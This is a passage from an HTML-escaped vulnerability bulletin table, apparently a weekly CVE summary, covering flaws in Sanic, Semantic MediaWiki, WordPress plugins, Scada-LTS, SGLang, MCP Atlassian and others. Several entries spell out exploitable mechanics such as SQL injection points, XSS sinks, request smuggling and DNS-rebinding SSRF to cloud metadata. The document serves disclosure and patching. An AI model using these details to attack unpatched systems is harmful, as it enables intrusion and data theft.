&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 1580 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in CustOS Driver in Samsung Mobile Processor Exynos 1580. Requesting oversized shared memory from the custos_iwc device enables out-of-bounds read and write, potentially leading to memory corruption or information leakage.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33957&quot; target=&quot;_blank&quot;&gt;CVE-2026-33957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sanic-org--sanic&lt;/td&gt;
&lt;td&gt;Sanic is an opensource python web server/framework. In version 25.12.0, Sanic&#039;s core HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating zero chunk before reusing the keep-alive connection buffer. A remote unauthenticated client can place attacker-controlled bytes in that trailer region, causing Sanic to parse and route them as a hidden second request after the outer request. This breaks HTTP request-boundary integrity and can provide a request-smuggling primitive when Sanic is deployed behind intermediaries. This issue is fixed in version 25.12.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85078&quot; target=&quot;_blank&quot;&gt;CVE-2026-85078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;satollo--Newsletter Send awesome emails from WordPress&lt;/td&gt;
&lt;td&gt;The Newsletter - Send awesome emails from WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;nn&#039; parameter in all versions up to, and including, 9.3.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Successful exploitation requires the victim to be a logged-in administrator, as the antibot check auto-passes for authenticated users, routing the unsanitized payload through the administrator-visible output branch of dienow().&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90981&quot; target=&quot;_blank&quot;&gt;CVE-2026-90981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Scada-LTS--Scada-LTS&lt;/td&gt;
&lt;td&gt;ScadaLTS 2.8.1-release-candidate build 0 is affected by an&amp;nbsp;Authenticated Blind SQL Injection The /api/events/search endpoint accepts a JSON body containing a sortBy array. The values in this array are concatenated directly into the SQL ORDER BY clause without any sanitization or parameterization. This allows authenticated users with the ROLE_USER role to perform time-based and boolean-based blind SQL injection to extract arbitrary data from the database, including password hashes of all users. The endpoint is accessible to any authenticated user with ROLE_USER, ROLE_ADMIN, or ROLE_PUBLIC via POST /api/events/search as defined in spring-security.xml.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84859&quot; target=&quot;_blank&quot;&gt;CVE-2026-84859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SecObserve--SecObserve&lt;/td&gt;
&lt;td&gt;SecObserve versions before 1.59.1 contain an information disclosure vulnerability in the ApiConfigurationSerializer that fails to strip the basic_auth_password field from API configuration responses. View-only product members can retrieve the decrypted basic-auth password of configured scanner or integration service accounts through standard REST endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92759&quot; target=&quot;_blank&quot;&gt;CVE-2026-92759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Secomea--GateManager&lt;/td&gt;
&lt;td&gt;Improper handling of insufficient permissions or privileges vulnerability in Secomea GateManager allows Privilege Escalation. This issue affects GateManager: 11.5;0, 11.4.625515072:0. Fixed in Version 11.6 or&amp;nbsp;11.4.626194074 and above&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1759&quot; target=&quot;_blank&quot;&gt;CVE-2026-1759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. Prior to version 7.2.0, when `headers=plain`, table header text was emitted into `&amp;lt;th&amp;gt;` via a raw HTML path. User-controlled `mainlabel` content could therefore become executable HTML. Version 7.2.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77606&quot; target=&quot;_blank&quot;&gt;CVE-2026-77606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. Prior to version 7.2.0, `sep` was inserted verbatim into HTML cell joins. This made it possible to inject HTML through the separator value. Version 7.2.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77607&quot; target=&quot;_blank&quot;&gt;CVE-2026-77607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. Prior to version 7.2.0, when the `value` parameter was reflected back into rendered output and error messaging paths without enough output-context encoding. Version 7.2.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77608&quot; target=&quot;_blank&quot;&gt;CVE-2026-77608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. Prior to version 7.2.0, `Special:URIResolver` resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to `$title-&amp;gt;getFullURL()` without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example `Special:URIResolver/mw-3AFoo`, which decodes to `mw:Foo`, redirects to `https://www.mediawiki.org/wiki/Foo`), and where the resolved URL carries an authority the target can even embed `user:pass@host` credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL. Version 7.2.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77609&quot; target=&quot;_blank&quot;&gt;CVE-2026-77609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. Prior to version 7.2.0, query debug output (`format=debug`, or the `debug` request parameter on `Special:Ask`) is assembled by `SMW\Query\DebugFormatter` and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping. On `Special:Ask` the resulting string is concatenated into the page and sent through `OutputPage::addHTML`, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices. This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined `_txt` properties (`Text`, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Version 7.2.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77610&quot; target=&quot;_blank&quot;&gt;CVE-2026-77610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SemanticMediaWiki--SemanticMediaWiki&lt;/td&gt;
&lt;td&gt;Semantic MediaWiki is a free, open-source extension to MediaWiki that lets users store and query data within the wiki&#039;s pages. In versions 7.0.0 through 7.1.0, `Special:Ask` accepts a `cursor` query parameter for keyset pagination (added in 7.0.0). The token is decoded by `CursorEncoder`, which is an **unsigned** base64url-encoded JSON blob, so its contents are fully attacker-controlled. When the cursor&#039;s sort anchor does not match the request&#039;s `sort=` / `order=`, `QueryCreator::applyCursorIfRequested()` builds an error message by interpolating the attacker-controlled `sort_prop` / `sort_order` values into a raw string via `Query::addErrors()`. Unlike SMW&#039;s message-key errors, this raw string bypasses the message layer&#039;s sanitization (`ProcessingErrorMsgHandler::normalizeAndDecodeMessages()` passes a non-key, non-encoded string through unchanged). `ErrorWidget::queryError()` then assembles the errors and passes them to `Html::errorBox()`, whose first argument is emitted as raw HTML. The result is a reflected cross-site scripting vulnerability: a crafted `cursor` token containing markup in `sort_prop` (or `sort_order`) executes script in the victim&#039;s browser on the wiki origin. No authentication or special permission is required. The payload is delivered via a crafted link. Version 7.2.0 contains a fix.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77616&quot; target=&quot;_blank&quot;&gt;CVE-2026-77616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;semaphoreui--semaphore&lt;/td&gt;
&lt;td&gt;Semaphore UI through 2.19.12 exempts GET and HEAD requests from project resource permission checks in GetMustCanMiddleware. Attackers with guest or task_runner roles can read all project environments including plaintext secrets, credentials, and passwords via GET requests to the environment endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91994&quot; target=&quot;_blank&quot;&gt;CVE-2026-91994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;servmask--All-in-One WP Migration and Backup&lt;/td&gt;
&lt;td&gt;The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to Insufficient Credential Protection in versions up to, and including, 7.110. This is due to the `Ai1wm_Main_Controller::init()` method - registered on the `admin_init` hook, which fires unauthenticated on `admin-ajax.php` and `admin-post.php` requests - reading `$_SERVER[&#039;PHP_AUTH_USER&#039;]` and `$_SERVER[&#039;PHP_AUTH_PW&#039;]` from any incoming request and writing them to the `ai1wm_auth_header` option via `update_option()` as a reversible base64-encoded string, with no capability check, nonce verification, `is_user_logged_in()` check, or confirmation that Basic authentication actually succeeded. This makes it possible for unauthenticated attackers to capture into the database, in reversible base64 form, any WordPress Application Password or HTTP Basic credential presented to `/wp-admin/` by a legitimate integration, or to overwrite the stored credential with an attacker-chosen value by sending an anonymous request carrying a crafted `Authorization: Basic` header. This is particularly impactful in environments using WordPress Application Passwords for REST API or third-party integrations, as those credentials are transmitted as HTTP Basic auth to `/wp-admin/` and will be silently harvested via this unauthenticated write path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89064&quot; target=&quot;_blank&quot;&gt;CVE-2026-89064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sgl-project--sglang&lt;/td&gt;
&lt;td&gt;SGLang versions through 0.5.20 contain an unbounded memory allocation vulnerability in handle_staging_req() that fails to validate chunk_idx from ZMQ STAGING_REQ frames in prefill/decode disaggregation deployments. Attackers with access to the decode engine&#039;s internal ZMQ rank port can send a frame with an extremely large chunk_idx value, causing the scheduler to allocate memory until the system runs out and terminates the process.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93838&quot; target=&quot;_blank&quot;&gt;CVE-2026-93838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sh1zen--WP Optimizer PageSpeed, Cache, Minify &amp;amp; Core Web Vitals&lt;/td&gt;
&lt;td&gt;The WP Optimizer plugin for WordPress is vulnerable to SQL Injection via the &#039;s&#039; parameter in all versions up to and including 2.5.0. This is due to an unsafe subquery-detection branch in the Query::parse_key_compare_field() method that, when the user-supplied value matches the regex ^[(\s]*SELECT\s+, wraps the value in parentheses and embeds it directly into the SQL string without any escaping or quoting. While the normal LIKE code path correctly uses esc_sql($wpdb-&amp;gt;esc_like(...)) and wraps the value in single quotes, this branch completely bypasses those protections. Because the attack payload (SELECT ...) contains no single quotes, WordPress&#039;s wp_magic_quotes() provides no protection. This makes it possible for authenticated attackers with administrator-level access to inject arbitrary SQL subqueries - including time-based blind payloads - that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6295&quot; target=&quot;_blank&quot;&gt;CVE-2026-6295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shahrukhlinkgraph--Search Atlas SEO OTTO AI SEO Automation for WordPress&lt;/td&gt;
&lt;td&gt;The Search Atlas SEO - Premier SEO Plugin for One-Click WP Publishing &amp;amp; Integrated AI Optimization plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.6.23. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the whitelabel settings password to an attacker-controlled value, enabling them to unlock whitelabel-protected admin settings tabs including whitelabel, general, and advanced configuration.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15946&quot; target=&quot;_blank&quot;&gt;CVE-2026-15946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shahrukhlinkgraph--Search Atlas SEO OTTO AI SEO Automation for WordPress&lt;/td&gt;
&lt;td&gt;The Metasync plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_instant_indexing_settings() function in versions up to, and including, 2.6.23. This function is registered on the admin_init hook and only checks for the presence of $_POST[&#039;submit&#039;] before writing attacker-supplied $_POST[&#039;metasync_post_types&#039;] into the site-wide &#039;metasync_options_instant_indexing&#039; option via update_option(); no current_user_can()/current_user_has_plugin_access() check and no nonce verification are performed. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the site&#039;s Google Instant Indexing post-type configuration, controlling which post types are auto-submitted to Google&#039;s Instant Indexing service.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15947&quot; target=&quot;_blank&quot;&gt;CVE-2026-15947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shlinkio--shlink&lt;/td&gt;
&lt;td&gt;Shlink through 5.1.6 fails to enforce API key role restrictions when issuing Mercure subscription tokens, allowing restricted keys to subscribe to all topics. Attackers with author-only or domain-only keys can access the mercure-info endpoint to receive visit data including referrer, user agent, geolocation, and full short URL objects for URLs outside their authorization boundary.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92760&quot; target=&quot;_blank&quot;&gt;CVE-2026-92760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shopperlabs--shopper&lt;/td&gt;
&lt;td&gt;Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, an earlier product sub-form hardening change left store() in packages/admin/src/Livewire/Components/Products/Form/Media.php without the edit_products authorization check used by sibling sub-forms. An authenticated staff user with browse_products can invoke the Livewire store action and replace the thumbnail and gallery images for a product whose Media component was initialized, even without product-edit permission. The product binding is locked, so the attacker cannot redirect the update to an arbitrary product through client-side ID substitution, and the impact is limited to products whose edit pages were loaded. This issue is fixed in version 2.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56830&quot; target=&quot;_blank&quot;&gt;CVE-2026-56830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;shopperlabs--shopper&lt;/td&gt;
&lt;td&gt;Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.0, the /cpanel/discounts administrative interface accepts negative fixed_amount discount values, persists them in sh_discounts, and passes them through vendor/shopper/cart/src/Discounts/DiscountCalculator.php and vendor/shopper/cart/src/Pipelines/Calculate.php without enforcing a positive-value invariant. Because the calculation subtracts discountTotal from the subtotal, a negative discount increases the resulting order total instead of reducing it. Malformed discount records can therefore cause incorrect pricing and financial data integrity failures, although the advisory does not establish a customer-facing exploitation path. This issue is fixed in version 2.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56831&quot; target=&quot;_blank&quot;&gt;CVE-2026-56831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--WTV676-HB6035 Web Interface&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in WTV676-HB6035 Web Interface (All versions &amp;lt; V3.94), WTV776-HB6035 Web Interface (All versions &amp;lt; V4.17). Affected devices do not properly validate input received from backend services. This could allow an unauthenticated remote attacker to force the device into protection mode, which results in losing remote connectivity functions (Web Access).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89207&quot; target=&quot;_blank&quot;&gt;CVE-2026-89207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SignalK--signalk-server&lt;/td&gt;
&lt;td&gt;Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.28.0, makeRemoteRequest() in src/serverroutes.ts accepted attacker-controlled host, port, useTLS, and selfsignedcert parameters from the testSignalKConnection, requestAccess, and checkAccessRequest endpoints without validating the destination. When security was not configured, addAdminMiddleware() was a no-op in dummysecurity.ts, leaving all three endpoints accessible without authentication. The server could be forced to contact loopback, private, link-local, cloud metadata, or arbitrary external destinations, and selfsignedcert could disable certificate verification for outbound HTTPS requests. The checkAccessRequest endpoint also interpolated requestId into its destination path, allowing traversal to other paths on the selected host. Distinct success, connection-refused, and timeout responses enabled internal port scanning; returned response bodies enabled cloud metadata and internal-service data exfiltration; requestAccess enabled server-side POST requests with attacker-controlled JSON; and access to cluster-internal services could support lateral movement. This issue is fixed in version 2.28.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55591&quot; target=&quot;_blank&quot;&gt;CVE-2026-55591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions through 3.8.4 fail to enforce publish access control in the getDynamicIcon endpoint, allowing read-only token holders to access document metadata. Attackers can call the endpoint with type=8 and crafted content to read block titles, names, aliases, and hierarchical paths of restricted documents via template injection.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93921&quot; target=&quot;_blank&quot;&gt;CVE-2026-93921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;smithyhq--sqladmin&lt;/td&gt;
&lt;td&gt;SQLAdmin is a flexible Admin interface for SQLAlchemy models. Prior to 0.27.1, ModelView.sort_query in sqladmin/models.py accepts the attacker-controlled sortBy list-view query parameter without enforcing the configured column_sortable_list server-side allow-list in self._sort_fields. The value is resolved with getattr and passed to relationship joins and order_by, allowing requests to sort by columns hidden from column_list and by related-model columns through dotted paths. The resulting row order forms an information-exposure oracle for unexposed values, and reversing ascending and descending order confirms their relative ordering. Pairing sortBy with searchable or filterable columns and pagination can narrow the oracle toward specific values, but exact recovery depends on the application&#039;s available fields and data. This issue is fixed in version 0.27.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54529&quot; target=&quot;_blank&quot;&gt;CVE-2026-54529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;smub--Custom Twitter Feeds A Tweets Widget or X Feed Widget&lt;/td&gt;
&lt;td&gt;The Custom Twitter Feeds - A Tweets Widget or X Feed Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;buttoncolor&#039; Shortcode Attribute in all versions up to, and including, 2.8.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is exploitable on common installs where the admin has configured access tokens with zero or multiple legacy feeds, as this causes the ctf_statuses support_legacy_shortcode option to be set to boolean true by default, activating the unfiltered legacy shortcode attribute code path.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84909&quot; target=&quot;_blank&quot;&gt;CVE-2026-84909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softing--Secure Integration Server&lt;/td&gt;
&lt;td&gt;An issue was discovered in Softing OPC UA C++ SDK through 6.20 and Softing Secure Integration Server through 1.22. By using FileType renames, it is possible to bypass limitations on assignment of a directory path to FileDirectory OPC UA objects and a file path to File OPC UA objects.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-29377&quot; target=&quot;_blank&quot;&gt;CVE-2023-29377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sonos--tract&lt;/td&gt;
&lt;td&gt;Tract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.16, 0.22.2, and 0.23.1, tract-nnef uses unchecked usize multiplication in nnef/src/tensors.rs read_tensor for attacker-controlled tensor dimensions, the allocation size, and the reported tensor length. Loading a crafted NNEF archive through model_for_path or model_for_read reaches the default DatLoader and can make the wrapped size check accept a small allocation while data/src/tensor.rs as_slice_unchecked creates a much larger logical slice. Model construction through as_uniform can then read beyond the heap allocation and disclose adjacent data, and later access can terminate the process with a segmentation fault. The affected dense numeric tensor path does not include the independently guarded bool, String, or block-quant paths, and no out-of-bounds write or code execution was demonstrated. This issue is fixed in versions 0.21.16, 0.22.2, and 0.23.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55093&quot; target=&quot;_blank&quot;&gt;CVE-2026-55093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sonos--tract&lt;/td&gt;
&lt;td&gt;Tract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.17, 0.22.3, and 0.23.2, the tract-onnx crate passes the attacker-controlled external_data location from an ONNX model through onnx/src/tensor.rs get_external_resources and joins the value to the model directory without rejecting absolute paths or parent directory components. Loading an untrusted model through model_for_path can therefore make onnx/src/data_resolver.rs MmapDataResolver open an arbitrary local file and place the file contents into model tensors or inference output. Attacker-controlled offset and length fields can also select an out-of-range mapping slice and cause a denial of service, but the flaw does not write files or execute code. This issue is fixed in versions 0.21.17, 0.22.3, and 0.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55832&quot; target=&quot;_blank&quot;&gt;CVE-2026-55832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). From 0.17.0 until 0.22.0, validate_url_for_ssrf resolves the attacker-controlled X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url header host once at middleware time, but the outbound request is built with the raw hostname and resolves it again at connection time with no IP pinning. An attacker-controlled DNS-rebinding name can return a public IP during validation and 169.254.169.254 or another internal IP during connection, enabling unauthenticated server-side requests to cloud metadata or internal services. The flaw spans src/mcp_atlassian/utils/urls.py, src/mcp_atlassian/servers/main.py, and src/mcp_atlassian/servers/dependencies.py; validate_url_for_ssrf returns only a verdict rather than a pinned IP, UserTokenMiddleware processes the attacker-controlled headers before fetcher creation, and the Jira and Confluence fetchers use the raw hostname. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73497&quot; target=&quot;_blank&quot;&gt;CVE-2026-73497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Class and Exam Timetabling System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SourceCodester Class and Exam Timetabling System 1.0. This affects an unknown part of the file /subject1.php. Such manipulation of the argument subject leads to cross site scripting. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90615&quot; target=&quot;_blank&quot;&gt;CVE-2026-90615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--College Notes Gallery Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in SourceCodester College Notes Gallery Management System 1.0. Affected is an unknown function of the file /dashboard/userprofile.php of the component Profile Upload. Performing a manipulation of the argument image results in unrestricted upload. The attack may be initiated remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90857&quot; target=&quot;_blank&quot;&gt;CVE-2026-90857&lt;/a&gt;&lt;/td&gt;
